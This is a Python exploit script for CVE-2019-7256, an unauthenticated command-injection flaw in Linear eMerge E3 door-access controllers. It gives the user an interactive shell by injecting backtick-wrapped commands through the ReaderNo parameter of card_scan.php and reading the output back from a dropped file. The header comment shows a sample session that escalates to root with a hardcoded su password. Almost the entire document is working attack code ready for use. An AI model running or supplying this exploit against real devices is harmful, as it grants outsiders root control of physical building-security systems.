#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
  print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
  sys.exit()

ipaddr = sys.argv[1]

print
while True:
  try:
    cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
    execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
    readreq = requests.get('http://'+ipaddr+'/test.txt')
    print readreq.text
    if cmd.strip() == 'exit':
      print "[+] Erasing read stage file and exiting..."
      requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
      print "[+] Done. Ba-bye!\n"
      break
    else: continue
  except Exception:
    break

sys.exit()